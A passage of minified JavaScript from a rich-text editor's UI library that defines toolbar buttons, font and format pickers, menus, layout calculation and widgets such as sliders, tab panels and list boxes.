r.each(t,function(t){t.menu&&(t.hidden=0===m(t.menu));var
r=t.format;r&&(t.hidden=!e.formatter.canApply(r)),t.hidden&&n--}),n}function
g(t){var n=t.items().length;return
t.items().each(function(t){t.menu&&t.visible(g(t.menu)>0),!t.menu&&t.settings.menu&&t.visible(m(t.settings.menu)>0);var
r=t.settings.format;r&&t.visible(e.formatter.canApply(r)),t.visible()||n--}),n}var
v;v=s(),f({bold:"Bold",italic:"Italic",underline:"Underline",strikethrough:"Strikethrough",subscript:"Subscript",superscript:"Superscript"},function(t,n){e.addButton(n,{tooltip:t,onPostRender:u(n),onclick:function(){h(n)}})}),f({outdent:["Decrease
indent","Outdent"],indent:["Increase
indent","Indent"],cut:["Cut","Cut"],copy:["Copy","Copy"],paste:["Paste","Paste"],help:["Help","mceHelp"],selectall:["Select
all","SelectAll"],removeformat:["Clear
formatting","RemoveFormat"],visualaid:["Visual
aids","mceToggleVisualAid"],newdocument:["New
document","mceNewDocument"]},function(t,n){e.addButton(n,{tooltip:t[0],cmd:t[1]})}),f({blockquote:["Blockquote","mceBlockQuote"],subscript:["Subscript","Subscript"],superscript:["Superscript","Superscript"],alignleft:["Align
left","JustifyLeft"],aligncenter:["Align
center","JustifyCenter"],alignright:["Align
right","JustifyRight"],alignjustify:["Justify","JustifyFull"],alignnone:["No
alignment","JustifyNone"]},function(t,n){e.addButton(n,{tooltip:t[0],cmd:t[1],onPostRender:u(n)})});var
y=function(e){var t=e;return
t.length>0&&"-"===t[0].text&&(t=t.slice(1)),t.length>0&&"-"===t[t.length-1].text&&(t=t.slice(0,t.length-1)),t},b=function(t){var
n,i;if("string"==typeof t)i=t.split(" ");else
if(r.isArray(t))return p(r.map(t,b));return
n=r.grep(i,function(t){return"|"===t||t in
e.menuItems}),r.map(n,function(t){return"|"===t?{text:"-"}:e.menuItems[t]})},C=function(t){var
n=[{text:"-"}],i=r.grep(e.menuItems,function(e){return
e.context===t});return
r.each(i,function(e){"before"==e.separator&&n.push({text:"|"}),e.prependToContext?n.unshift(e):n.push(e),"after"==e.separator&&n.push({text:"|"})}),n},x=function(e){return
y(e.insert_button_items?b(e.insert_button_items):C("insert"))};e.addButton("undo",{tooltip:"Undo",onPostRender:c("undo"),cmd:"undo"}),e.addButton("redo",{tooltip:"Redo",onPostRender:c("redo"),cmd:"redo"}),e.addMenuItem("newdocument",{text:"New
document",icon:"newdocument",cmd:"mceNewDocument"}),e.addMenuItem("undo",{text:"Undo",icon:"undo",shortcut:"Meta+Z",onPostRender:c("undo"),cmd:"undo"}),e.addMenuItem("redo",{text:"Redo",icon:"redo",shortcut:"Meta+Y",onPostRender:c("redo"),cmd:"redo"}),e.addMenuItem("visualaid",{text:"Visual
aids",selectable:!0,onPostRender:d,cmd:"mceToggleVisualAid"}),e.addButton("remove",{tooltip:"Remove",icon:"remove",cmd:"Delete"}),e.addButton("insert",{type:"menubutton",icon:"insert",menu:[],oncreatemenu:function(){this.menu.add(x(e.settings)),this.menu.renderNew()}}),f({cut:["Cut","Cut","Meta+X"],copy:["Copy","Copy","Meta+C"],paste:["Paste","Paste","Meta+V"],selectall:["Select
all","SelectAll","Meta+A"],bold:["Bold","Bold","Meta+B"],italic:["Italic","Italic","Meta+I"],underline:["Underline","Underline","Meta+U"],strikethrough:["Strikethrough","Strikethrough"],subscript:["Subscript","Subscript"],superscript:["Superscript","Superscript"],removeformat:["Clear
formatting","RemoveFormat"]},function(t,n){e.addMenuItem(n,{text:t[0],icon:n,shortcut:t[2],cmd:t[1]})}),e.on("mousedown",function(){n.hideAll()}),e.addButton("styleselect",{type:"menubutton",text:"Formats",menu:v,onShowMenu:function(){e.settings.style_formats_autohide&&g(this.menu)}}),e.addButton("formatselect",function(){var
n=[],r=a(e.settings.block_formats||"Paragraph=p;Heading 1=h1;Heading
2=h2;Heading 3=h3;Heading 4=h4;Heading 5=h5;Heading
6=h6;Preformatted=pre");return
f(r,function(t){n.push({text:t[0],value:t[1],textStyle:function(){return
e.formatter.getCssText(t[1])}})}),{type:"listbox",text:r[0][0],values:n,fixedWidth:!0,onselect:h,onPostRender:t(n)}}),e.addButton("fontselect",function(){var
t="Andale Mono=andale
mono,monospace;Arial=arial,helvetica,sans-serif;Arial Black=arial
black,sans-serif;Book Antiqua=book antiqua,palatino,serif;Comic Sans
MS=comic sans ms,sans-serif;Courier New=courier
new,courier,monospace;Georgia=georgia,palatino,serif;Helvetica=helvetica,arial,sans-serif;Impact=impact,sans-serif;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco,monospace;Times
New Roman=times new roman,times,serif;Trebuchet MS=trebuchet
ms,geneva,sans-serif;Verdana=verdana,geneva,sans-serif;Webdings=webdings;Wingdings=wingdings,zapf
dingbats",n=[],r=a(e.settings.font_formats||t);return
f(r,function(e){n.push({text:{raw:e[0]},value:e[1],textStyle:e[1].indexOf("dings")==-1?"font-family:"+e[1]:""})}),{type:"listbox",text:"Font
Family",tooltip:"Font
Family",values:n,fixedWidth:!0,onPostRender:i(n),onselect:function(t){t.control.settings.value&&e.execCommand("FontName",!1,t.control.settings.value)}}}),e.addButton("fontsizeselect",function(){var
t=[],n="8pt 10pt 12pt 14pt 18pt 24pt
36pt",r=e.settings.fontsize_formats||n;return f(r.split("
"),function(e){var
n=e,r=e,i=e.split("=");i.length>1&&(n=i[0],r=i[1]),t.push({text:n,value:r})}),{type:"listbox",text:"Font
Sizes",tooltip:"Font
Sizes",values:t,fixedWidth:!0,onPostRender:o(t),onclick:function(t){t.control.settings.value&&e.execCommand("FontSize",!1,t.control.settings.value)}}}),e.addMenuItem("formats",{text:"Formats",menu:v})}var
f=r.each,p=function(e){return i.reduce(e,function(e,t){return
e.concat(t)},[])};a.on("AddEditor",function(e){var
t=e.editor;c(t),d(t),u(t)}),e.translate=function(e){return
a.translate(e)},t.tooltips=!s.iOS}),r(zt,[yt],function(e){return
e.extend({recalc:function(e){var
t,n,r,i,o,a,s,l,u,c,d,f,p,h,m,g,v,y,b,C,x,w,E,N=[],_=[],S,k,T,R,A,B;t=e.settings,i=e.items().filter(":visible"),o=e.layoutRect(),r=t.columns||Math.ceil(Math.sqrt(i.length)),n=Math.ceil(i.length/r),y=t.spacingH||t.spacing||0,b=t.spacingV||t.spacing||0,C=t.alignH||t.align,x=t.alignV||t.align,g=e.paddingBox,A="reverseRows"in
t?t.reverseRows:e.isRtl(),C&&"string"==typeof
C&&(C=[C]),x&&"string"==typeof
x&&(x=[x]);for(d=0;d<r;d++)N.push(0);for(f=0;f<n;f++)_.push(0);for(f=0;f<n;f++)for(d=0;d<r&&(c=i[f*r+d],c);d++)u=c.layoutRect(),S=u.minW,k=u.minH,N[d]=S>N[d]?S:N[d],_[f]=k>_[f]?k:_[f];for(T=o.innerW-g.left-g.right,w=0,d=0;d<r;d++)w+=N[d]+(d>0?y:0),T-=(d>0?y:0)+N[d];for(R=o.innerH-g.top-g.bottom,E=0,f=0;f<n;f++)E+=_[f]+(f>0?b:0),R-=(f>0?b:0)+_[f];if(w+=g.left+g.right,E+=g.top+g.bottom,l={},l.minW=w+(o.w-o.innerW),l.minH=E+(o.h-o.innerH),l.contentW=l.minW-o.deltaW,l.contentH=l.minH-o.deltaH,l.minW=Math.min(l.minW,o.maxW),l.minH=Math.min(l.minH,o.maxH),l.minW=Math.max(l.minW,o.startMinWidth),l.minH=Math.max(l.minH,o.startMinHeight),!o.autoResize||l.minW==o.minW&&l.minH==o.minH){o.autoResize&&(l=e.layoutRect(l),l.contentW=l.minW-o.deltaW,l.contentH=l.minH-o.deltaH);var
D;D="start"==t.packV?0:R>0?Math.floor(R/n):0;var
L=0,M=t.flexWidths;if(M)for(d=0;d<M.length;d++)L+=M[d];else L=r;var
P=T/L;for(d=0;d<r;d++)N[d]+=M?M[d]*P:P;for(h=g.top,f=0;f<n;f++){for(p=g.left,s=_[f]+D,d=0;d<r&&(B=A?f*r+r-1-d:f*r+d,c=i[B],c);d++)m=c.settings,u=c.layoutRect(),a=Math.max(N[d],u.startMinWidth),u.x=p,u.y=h,v=m.alignH||(C?C[d]||C[0]:null),"center"==v?u.x=p+a/2-u.w/2:"right"==v?u.x=p+a-u.w:"stretch"==v&&(u.w=a),v=m.alignV||(x?x[d]||x[0]:null),"center"==v?u.y=h+s/2-u.h/2:"bottom"==v?u.y=h+s-u.h:"stretch"==v&&(u.h=s),c.layoutRect(u),p+=a+y,c.recalc&&c.recalc();h+=s+b}}else
if(l.w=l.minW,l.h=l.minH,e.layoutRect(l),this.recalc(e),null===e._lastRect){var
O=e.parent();O&&(O._lastRect=null,O.recalc())}}})}),r(Ut,[Pe,c],function(e,t){return
e.extend({renderHtml:function(){var e=this;return
e.classes.add("iframe"),e.canFocus=!1,'<iframe
id="'+e._id+'"
class="'+e.classes+'" tabindex="-1"
src="'+(e.settings.url||"javascript:''")+'"
frameborder="0"></iframe>'},src:function(e){this.getEl().src=e},html:function(e,n){var
r=this,i=this.getEl().contentWindow.document.body;
return
i?(i.innerHTML=e,n&&n()):t.setTimeout(function(){r.html(e)}),this}})}),r(Wt,[Pe],function(e){return
e.extend({init:function(e){var
t=this;t._super(e),t.classes.add("widget").add("infobox"),t.canFocus=!1},severity:function(e){this.classes.remove("error"),this.classes.remove("warning"),this.classes.remove("success"),this.classes.add(e)},help:function(e){this.state.set("help",e)},renderHtml:function(){var
e=this,t=e.classPrefix;return'<div
id="'+e._id+'"
class="'+e.classes+'"><div
id="'+e._id+'-body">'+e.encode(e.state.get("text"))+'<button
role="button" tabindex="-1"><i
class="'+t+"ico
"+t+'i-help"></i></button></div></div>'},bindStates:function(){var
e=this;return
e.state.on("change:text",function(t){e.getEl("body").firstChild.data=e.encode(t.value),e.state.get("rendered")&&e.updateLayoutRect()}),e.state.on("change:help",function(t){e.classes.toggle("has-help",t.value),e.state.get("rendered")&&e.updateLayoutRect()}),e._super()}})}),r(Vt,[Pe,ve],function(e,t){return
e.extend({init:function(e){var
t=this;t._super(e),t.classes.add("widget").add("label"),t.canFocus=!1,e.multiline&&t.classes.add("autoscroll"),e.strong&&t.classes.add("strong")},initLayoutRect:function(){var
e=this,n=e._super();if(e.settings.multiline){var
r=t.getSize(e.getEl());r.width>n.maxW&&(n.minW=n.maxW,e.classes.add("multiline")),e.getEl().style.width=n.minW+"px",n.startMinH=n.h=n.minH=Math.min(n.maxH,t.getSize(e.getEl()).height)}return
n},repaint:function(){var e=this;return
e.settings.multiline||(e.getEl().style.lineHeight=e.layoutRect().h+"px"),e._super()},severity:function(e){this.classes.remove("error"),this.classes.remove("warning"),this.classes.remove("success"),this.classes.add(e)},renderHtml:function(){var
e=this,t,n,r=e.settings.forId;return!r&&(n=e.settings.forName)&&(t=e.getRoot().find("#"+n)[0],t&&(r=t._id)),r?'<label
id="'+e._id+'"
class="'+e.classes+'"'+(r?'
for="'+r+'"':"")+">"+e.encode(e.state.get("text"))+"</label>":'<span
id="'+e._id+'"
class="'+e.classes+'">'+e.encode(e.state.get("text"))+"</span>"},bindStates:function(){var
e=this;return
e.state.on("change:text",function(t){e.innerHtml(e.encode(t.value)),e.state.get("rendered")&&e.updateLayoutRect()}),e._super()}})}),r($t,[Ne],function(e){return
e.extend({Defaults:{role:"toolbar",layout:"flow"},init:function(e){var
t=this;t._super(e),t.classes.add("toolbar")},postRender:function(){var
e=this;return
e.items().each(function(e){e.classes.add("toolbar-item")}),e._super()}})}),r(qt,[$t],function(e){return
e.extend({Defaults:{role:"menubar",containerCls:"menubar",ariaRoot:!0,defaults:{type:"menubutton"}}})}),r(jt,[bt,we,qt],function(e,t,n){function
r(e,t){for(;e;){if(t===e)return!0;e=e.parentNode}return!1}var
i=e.extend({init:function(e){var
t=this;t._renderOpen=!0,t._super(e),e=t.settings,t.classes.add("menubtn"),e.fixedWidth&&t.classes.add("fixed-width"),t.aria("haspopup",!0),t.state.set("menu",e.menu||t.render())},showMenu:function(e){var
n=this,r;return
n.menu&&n.menu.visible()&&e!==!1?n.hideMenu():(n.menu||(r=n.state.get("menu")||[],r.length?r={type:"menu",items:r}:r.type=r.type||"menu",r.renderTo?n.menu=r.parent(n).show().renderTo():n.menu=t.create(r).parent(n).renderTo(),n.fire("createmenu"),n.menu.reflow(),n.menu.on("cancel",function(e){e.control.parent()===n.menu&&(e.stopPropagation(),n.focus(),n.hideMenu())}),n.menu.on("select",function(){n.focus()}),n.menu.on("show
hide",function(e){e.control==n.menu&&n.activeMenu("show"==e.type),n.aria("expanded","show"==e.type)}).fire("show")),n.menu.show(),n.menu.layoutRect({w:n.layoutRect().w}),n.menu.moveRel(n.getEl(),n.isRtl()?["br-tr","tr-br"]:["bl-tl","tl-bl"]),void
n.fire("showmenu"))},hideMenu:function(){var
e=this;e.menu&&(e.menu.items().each(function(e){e.hideMenu&&e.hideMenu()}),e.menu.hide())},activeMenu:function(e){this.classes.toggle("active",e)},renderHtml:function(){var
e=this,t=e._id,r=e.classPrefix,i=e.settings.icon,o,a=e.state.get("text"),s="";return
o=e.settings.image,o?(i="none","string"!=typeof
o&&(o=window.getSelection?o[0]:o[1]),o="
style=\"background-image:
url('"+o+"')\""):o="",a&&(e.classes.add("btn-has-text"),s='<span
class="'+r+'txt">'+e.encode(a)+"</span>"),i=e.settings.icon?r+"ico
"+r+"i-"+i:"",e.aria("role",e.parent()instanceof
n?"menuitem":"button"),'<div
id="'+t+'" class="'+e.classes+'"
tabindex="-1"
aria-labelledby="'+t+'"><button
id="'+t+'-open" role="presentation"
type="button" tabindex="-1">'+(i?'<i
class="'+i+'"'+o+"></i>":"")+s+'
<i
class="'+r+'caret"></i></button></div>'},postRender:function(){var
e=this;return
e.on("click",function(t){t.control===e&&r(t.target,e.getEl())&&(e.focus(),e.showMenu(!t.aria),t.aria&&e.menu.items().filter(":visible")[0].focus())}),e.on("mouseenter",function(t){var
n=t.control,r=e.parent(),o;n&&r&&n instanceof
i&&n.parent()==r&&(r.items().filter("MenuButton").each(function(e){e.hideMenu&&e!=n&&(e.menu&&e.menu.visible()&&(o=!0),e.hideMenu())}),o&&(n.focus(),n.showMenu()))}),e._super()},bindStates:function(){var
e=this;return
e.state.on("change:menu",function(){e.menu&&e.menu.remove(),e.menu=null}),e._super()},remove:function(){this._super(),this.menu&&this.menu.remove()}});return
i}),r(Yt,[Pe,we,d,c],function(e,t,n,r){return
e.extend({Defaults:{border:0,role:"menuitem"},init:function(e){var
t=this,n;t._super(e),e=t.settings,t.classes.add("menu-item"),e.menu&&t.classes.add("menu-item-expand"),e.preview&&t.classes.add("menu-item-preview"),n=t.state.get("text"),"-"!==n&&"|"!==n||(t.classes.add("menu-item-sep"),t.aria("role","separator"),t.state.set("text","-")),e.selectable&&(t.aria("role","menuitemcheckbox"),t.classes.add("menu-item-checkbox"),e.icon="selected"),e.preview||e.selectable||t.classes.add("menu-item-normal"),t.on("mousedown",function(e){e.preventDefault()}),e.menu&&!e.ariaHideMenu&&t.aria("haspopup",!0)},hasMenus:function(){return!!this.settings.menu},showMenu:function(){var
e=this,n=e.settings,r,i=e.parent();if(i.items().each(function(t){t!==e&&t.hideMenu()}),n.menu){r=e.menu,r?r.show():(r=n.menu,r.length?r={type:"menu",items:r}:r.type=r.type||"menu",i.settings.itemDefaults&&(r.itemDefaults=i.settings.itemDefaults),r=e.menu=t.create(r).parent(e).renderTo(),r.reflow(),r.on("cancel",function(t){t.stopPropagation(),e.focus(),r.hide()}),r.on("show
hide",function(e){e.control.items&&e.control.items().each(function(e){e.active(e.settings.selected)})}).fire("show"),r.on("hide",function(t){t.control===r&&e.classes.remove("selected")}),r.submenu=!0),r._parentMenu=i,r.classes.add("menu-sub");var
o=r.testMoveRel(e.getEl(),e.isRtl()?["tl-tr","bl-br","tr-tl","br-bl"]:["tr-tl","br-bl","tl-tr","bl-br"]);r.moveRel(e.getEl(),o),r.rel=o,o="menu-sub-"+o,r.classes.remove(r._lastRel).add(o),r._lastRel=o,e.classes.add("selected"),e.aria("expanded",!0)}},hideMenu:function(){var
e=this;return
e.menu&&(e.menu.items().each(function(e){e.hideMenu&&e.hideMenu()}),e.menu.hide(),e.aria("expanded",!1)),e},renderHtml:function(){function
e(e){var
t,r,i={};for(i=n.mac?{alt:"&#x2325;",ctrl:"&#x2318;",shift:"&#x21E7;",meta:"&#x2318;"}:{meta:"Ctrl"},e=e.split("+"),t=0;t<e.length;t++)r=i[e[t].toLowerCase()],r&&(e[t]=r);return
e.join("+")}function t(e){return
e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function r(e){var
n=s.match||"";return n?e.replace(new
RegExp(t(n),"gi"),function(e){return"!mce~match["+e+"]mce~match!"}):e}function
i(e){return e.replace(new
RegExp(t("!mce~match["),"g"),"<b>").replace(new
RegExp(t("]mce~match!"),"g"),"</b>")}var
o=this,a=o._id,s=o.settings,l=o.classPrefix,u=o.state.get("text"),c=o.settings.icon,d="",f=s.shortcut,p=o.encode(s.url),h="";return
c&&o.parent().classes.add("menu-has-icons"),s.image&&(d="
style=\"background-image:
url('"+s.image+"')\""),f&&(f=e(f)),c=l+"ico
"+l+"i-"+(o.settings.icon||"none"),h="-"!==u?'<i
class="'+c+'"'+d+"></i>\xa0":"",u=i(o.encode(r(u))),p=i(o.encode(r(p))),'<div
id="'+a+'" class="'+o.classes+'"
tabindex="-1">'+h+("-"!==u?'<span
id="'+a+'-text"
class="'+l+'text">'+u+"</span>":"")+(f?'<div
id="'+a+'-shortcut"
class="'+l+'menu-shortcut">'+f+"</div>":"")+(s.menu?'<div
class="'+l+'caret"></div>':"")+(p?'<div
class="'+l+'menu-item-link">'+p+"</div>":"")+"</div>"},postRender:function(){var
e=this,t=e.settings,n=t.textStyle;if("function"==typeof
n&&(n=n.call(this)),n){var
i=e.getEl("text");i&&i.setAttribute("style",n)}return
e.on("mouseenter
click",function(n){n.control===e&&(t.menu||"click"!==n.type?(e.showMenu(),n.aria&&e.menu.focus(!0)):(e.fire("select"),r.requestAnimationFrame(function(){e.parent().hideAll()})))}),e._super(),e},hover:function(){var
e=this;return
e.parent().items().each(function(e){e.classes.remove("selected")}),e.classes.toggle("selected",!0),e},active:function(e){return"undefined"!=typeof
e&&this.aria("checked",e),this._super(e)},remove:function(){this._super(),this.menu&&this.menu.remove()}})}),r(Xt,[g,xe,c],function(e,t,n){return
function(r,i){var o=this,a,s=t.classPrefix,l;o.show=function(t,u){function
c(){a&&(e(r).append('<div
class="'+s+"throbber"+(i?"
"+s+"throbber-inline":"")+'"></div>'),u&&u())}return
o.hide(),a=!0,t?l=n.setTimeout(c,t):c(),o},o.hide=function(){var
e=r.lastChild;return
n.clearTimeout(l),e&&e.className.indexOf("throbber")!=-1&&e.parentNode.removeChild(e),a=!1,o}}}),r(Kt,[Ae,Yt,Xt,m],function(e,t,n,r){return
e.extend({Defaults:{defaultType:"menuitem",border:1,layout:"stack",role:"application",bodyRole:"menu",ariaRoot:!0},init:function(e){var
t=this;if(e.autohide=!0,e.constrainToViewport=!0,"function"==typeof
e.items&&(e.itemsFactory=e.items,e.items=[]),e.itemDefaults)for(var
n=e.items,i=n.length;i--;)n[i]=r.extend({},e.itemDefaults,n[i]);t._super(e),t.classes.add("menu")},repaint:function(){return
this.classes.toggle("menu-align",!0),this._super(),this.getEl().style.height="",this.getEl("body").style.height="",this},cancel:function(){var
e=this;e.hideAll(),e.fire("select")},load:function(){function
e(){t.throbber&&(t.throbber.hide(),t.throbber=null)}var
t=this,r,i;i=t.settings.itemsFactory,i&&(t.throbber||(t.throbber=new
n(t.getEl("body"),!0),0===t.items().length?(t.throbber.show(),t.fire("loading")):t.throbber.show(100,function(){t.items().remove(),t.fire("loading")}),t.on("hide
close",e)),t.requestTime=r=(new
Date).getTime(),t.settings.itemsFactory(function(n){return
0===n.length?void
t.hide():void(t.requestTime===r&&(t.getEl().style.width="",t.getEl("body").style.width="",e(),t.items().remove(),t.getEl("body").innerHTML="",t.add(n),t.renderNew(),t.fire("loaded")))}))},hideAll:function(){var
e=this;return
this.find("menuitem").exec("hideMenu"),e._super()},preRender:function(){var
e=this;return e.items().each(function(t){var
n=t.settings;if(n.icon||n.image||n.selectable)return
e._hasIcons=!0,!1}),e.settings.itemsFactory&&e.on("postrender",function(){e.settings.itemsFactory&&e.load()}),e._super()}})}),r(Gt,[jt,Kt],function(e,t){return
e.extend({init:function(e){function t(r){for(var
a=0;a<r.length;a++){if(i=r[a].selected||e.value===r[a].value)return
o=o||r[a].text,n.state.set("value",r[a].value),!0;if(r[a].menu&&t(r[a].menu))return!0}}var
n=this,r,i,o,a;n._super(e),e=n.settings,n._values=r=e.values,r&&("undefined"!=typeof
e.value&&t(r),!i&&r.length>0&&(o=r[0].text,n.state.set("value",r[0].value)),n.state.set("menu",r)),n.state.set("text",e.text||o),n.classes.add("listbox"),n.on("select",function(t){var
r=t.control;a&&(t.lastControl=a),e.multiple?r.active(!r.active()):n.value(t.control.value()),a=r})},bindStates:function(){function
e(e,n){e instanceof
t&&e.items().each(function(e){e.hasMenus()||e.active(e.value()===n)})}function
n(e,t){var r;if(e)for(var i=0;i<e.length;i++){if(e[i].value===t)return
e[i];if(e[i].menu&&(r=n(e[i].menu,t)))return r}}var r=this;return
r.on("show",function(t){e(t.control,r.value())}),r.state.on("change:value",function(e){var
t=n(r.state.get("menu"),e.value);t?r.text(t.text):r.text(r.settings.text)}),r._super()}})}),r(Jt,[xt],function(e){return
e.extend({Defaults:{classes:"radio",role:"radio"}})}),r(Qt,[Pe,_e],function(e,t){return
e.extend({renderHtml:function(){var e=this,t=e.classPrefix;return
e.classes.add("resizehandle"),"both"==e.settings.direction&&e.classes.add("resizehandle-both"),e.canFocus=!1,'<div
id="'+e._id+'"
class="'+e.classes+'"><i
class="'+t+"ico
"+t+'i-resize"></i></div>'},postRender:function(){var
e=this;e._super(),e.resizeDragHelper=new
t(this._id,{start:function(){e.fire("ResizeStart")},drag:function(t){"both"!=e.settings.direction&&(t.deltaX=0),e.fire("Resize",t)},stop:function(){e.fire("ResizeEnd")}})},remove:function(){return
this.resizeDragHelper&&this.resizeDragHelper.destroy(),this._super()}})}),r(Zt,[Pe],function(e){function
t(e){var t="";if(e)for(var
n=0;n<e.length;n++)t+='<option
value="'+e[n]+'">'+e[n]+"</option>";return
t}return
e.extend({Defaults:{classes:"selectbox",role:"selectbox",options:[]},init:function(e){var
t=this;t._super(e),t.settings.size&&(t.size=t.settings.size),t.settings.options&&(t._options=t.settings.options),t.on("keydown",function(e){var
n;13==e.keyCode&&(e.preventDefault(),t.parents().reverse().each(function(e){if(e.toJSON)return
n=e,!1}),t.fire("submit",{data:n.toJSON()}))})},options:function(e){return
arguments.length?(this.state.set("options",e),this):this.state.get("options")},renderHtml:function(){var
e=this,n,r="";return n=t(e._options),e.size&&(r='
size = "'+e.size+'"'),'<select
id="'+e._id+'"
class="'+e.classes+'"'+r+">"+n+"</select>"},bindStates:function(){var
e=this;return
e.state.on("change:options",function(n){e.getEl().innerHTML=t(n.value)}),e._super()}})}),r(en,[Pe,_e,ve],function(e,t,n){function
r(e,t,n){return e<t&&(e=t),e>n&&(e=n),e}function
i(e,t,n){e.setAttribute("aria-"+t,n)}function o(e,t){var
r,o,a,s,l,u;"v"==e.settings.orientation?(s="top",a="height",o="h"):(s="left",a="width",o="w"),u=e.getEl("handle"),r=(e.layoutRect()[o]||100)-n.getSize(u)[a],l=r*((t-e._minValue)/(e._maxValue-e._minValue))+"px",u.style[s]=l,u.style.height=e.layoutRect().h+"px",i(u,"valuenow",t),i(u,"valuetext",""+e.settings.previewFilter(t)),i(u,"valuemin",e._minValue),i(u,"valuemax",e._maxValue)}return
e.extend({init:function(e){var
t=this;e.previewFilter||(e.previewFilter=function(e){return
Math.round(100*e)/100}),t._super(e),t.classes.add("slider"),"v"==e.orientation&&t.classes.add("vertical"),t._minValue=e.minValue||0,t._maxValue=e.maxValue||100,t._initValue=t.state.get("value")},renderHtml:function(){var
e=this,t=e._id,n=e.classPrefix;return'<div
id="'+t+'"
class="'+e.classes+'"><div
id="'+t+'-handle"
class="'+n+'slider-handle" role="slider"
tabindex="-1"></div></div>'},reset:function(){this.value(this._initValue).repaint()},postRender:function(){function
e(e,t,n){return(n+e)/(t-e)}function i(e,t,n){return n*(t-e)-e}function
o(t,n){function o(o){var
a;a=s.value(),a=i(t,n,e(t,n,a)+.05*o),a=r(a,t,n),s.value(a),s.fire("dragstart",{value:a}),s.fire("drag",{value:a}),s.fire("dragend",{value:a})}s.on("keydown",function(e){switch(e.keyCode){case
37:case 38:o(-1);break;case 39:case 40:o(1)}})}function a(e,i,o){var
a,l,u,h,m;s._dragHelper=new
t(s._id,{handle:s._id+"-handle",start:function(e){a=e[c],l=parseInt(s.getEl("handle").style[d],10),u=(s.layoutRect()[p]||100)-n.getSize(o)[f],s.fire("dragstart",{value:m})},drag:function(t){var
n=t[c]-a;h=r(l+n,0,u),o.style[d]=h+"px",m=e+h/u*(i-e),s.value(m),s.tooltip().text(""+s.settings.previewFilter(m)).show().moveRel(o,"bc
tc"),s.fire("drag",{value:m})},stop:function(){s.tooltip().hide(),s.fire("dragend",{value:m})}})}var
s=this,l,u,c,d,f,p;l=s._minValue,u=s._maxValue,"v"==s.settings.orientation?(c="screenY",d="top",f="height",p="h"):(c="screenX",d="left",f="width",p="w"),s._super(),o(l,u,s.getEl("handle")),a(l,u,s.getEl("handle"))},repaint:function(){this._super(),o(this,this.value())},bindStates:function(){var
e=this;return
e.state.on("change:value",function(t){o(e,t.value)}),e._super()}})}),r(tn,[Pe],function(e){return
e.extend({renderHtml:function(){var e=this;return
e.classes.add("spacer"),e.canFocus=!1,'<div
id="'+e._id+'"
class="'+e.classes+'"></div>'}})}),r(nn,[jt,ve,g],function(e,t,n){return
e.extend({Defaults:{classes:"widget btn
splitbtn",role:"button"},repaint:function(){var
e=this,r=e.getEl(),i=e.layoutRect(),o,a;return
e._super(),o=r.firstChild,a=r.lastChild,n(o).css({width:i.w-t.getSize(a).width,height:i.h-2}),n(a).css({height:i.h-2}),e},activeMenu:function(e){var
t=this;n(t.getEl().lastChild).toggleClass(t.classPrefix+"active",e)},renderHtml:function(){var
e=this,t=e._id,n=e.classPrefix,r,i=e.state.get("icon"),o=e.state.get("text"),a="";return
r=e.settings.image,r?(i="none","string"!=typeof
r&&(r=window.getSelection?r[0]:r[1]),r="
style=\"background-image:
url('"+r+"')\""):r="",i=e.settings.icon?n+"ico
"+n+"i-"+i:"",o&&(e.classes.add("btn-has-text"),a='<span
class="'+n+'txt">'+e.encode(o)+"</span>"),'<div
id="'+t+'" class="'+e.classes+'"
role="button" tabindex="-1"><button
type="button" hidefocus="1"
tabindex="-1">'+(i?'<i
class="'+i+'"'+r+"></i>":"")+a+'</button><button
type="button" class="'+n+'open"
hidefocus="1"
tabindex="-1">'+(e._menuBtnText?(i?"\xa0":"")+e._menuBtnText:"")+'
<i
class="'+n+'caret"></i></button></div>'},postRender:function(){var
e=this,t=e.settings.onclick;return e.on("click",function(e){var
n=e.target;if(e.control==this)for(;n;){if(e.aria&&"down"!=e.aria.key||"BUTTON"==n.nodeName&&n.className.indexOf("open")==-1)return
e.stopImmediatePropagation(),void(t&&t.call(this,e));n=n.parentNode}}),delete
e.settings.onclick,e._super()}})}),r(rn,[Ht],function(e){return
e.extend({Defaults:{containerClass:"stack-layout",controlClass:"stack-layout-item",endClass:"break"},isNative:function(){return!0}})}),r(on,[ke,g,ve],function(e,t,n){return
e.extend({Defaults:{layout:"absolute",defaults:{type:"panel"}},activateTab:function(e){var
n;this.activeTabId&&(n=this.getEl(this.activeTabId),t(n).removeClass(this.classPrefix+"active"),n.setAttribute("aria-selected","false")),this.activeTabId="t"+e,n=this.getEl("t"+e),n.setAttribute("aria-selected","true"),t(n).addClass(this.classPrefix+"active"),this.items()[e].show().fire("showtab"),this.reflow(),this.items().each(function(t,n){e!=n&&t.hide()})},renderHtml:function(){var
e=this,t=e._layout,n="",r=e.classPrefix;return
e.preRender(),t.preRender(e),e.items().each(function(t,i){var
o=e._id+"-t"+i;t.aria("role","tabpanel"),t.aria("labelledby",o),n+='<div
id="'+o+'" class="'+r+'tab"
unselectable="on" role="tab"
aria-controls="'+t._id+'"
aria-selected="false"
tabIndex="-1">'+e.encode(t.settings.title)+"</div>"}),'<div
id="'+e._id+'"
class="'+e.classes+'" hidefocus="1"
tabindex="-1"><div id="'+e._id+'-head"
class="'+r+'tabs"
role="tablist">'+n+'</div><div
id="'+e._id+'-body"
class="'+e.bodyClasses+'">'+t.renderHtml(e)+"</div></div>"},postRender:function(){var
e=this;e._super(),e.settings.activeTab=e.settings.activeTab||0,e.activateTab(e.settings.activeTab),this.on("click",function(t){var
n=t.target.parentNode;if(n&&n.id==e._id+"-head")for(var
r=n.childNodes.length;r--;)n.childNodes[r]==t.target&&e.activateTab(r)})},initLayoutRect:function(){var
e=this,t,r,i;r=n.getSize(e.getEl("head")).width,r=r<0?0:r,i=0,e.items().each(function(e){r=Math.max(r,e.layoutRect().minW),i=Math.max(i,e.layoutRect().minH)}),e.items().each(function(e){e.settings.x=0,e.settings.y=0,e.settings.w=r,e.settings.h=i,e.layoutRect({x:0,y:0,w:r,h:i})});var
o=n.getSize(e.getEl("head")).height;return
e.settings.minWidth=r,e.settings.minHeight=i+o,t=e._super(),t.deltaH+=o,t.innerH=t.h-t.deltaH,t}})}),r(an,[Pe,m,ve],function(e,t,n){return
e.extend({init:function(e){var
t=this;t._super(e),t.classes.add("textbox"),e.multiline?t.classes.add("multiline"):(t.on("keydown",function(e){var
n;13==e.keyCode&&(e.preventDefault(),t.parents().reverse().each(function(e){if(e.toJSON)return
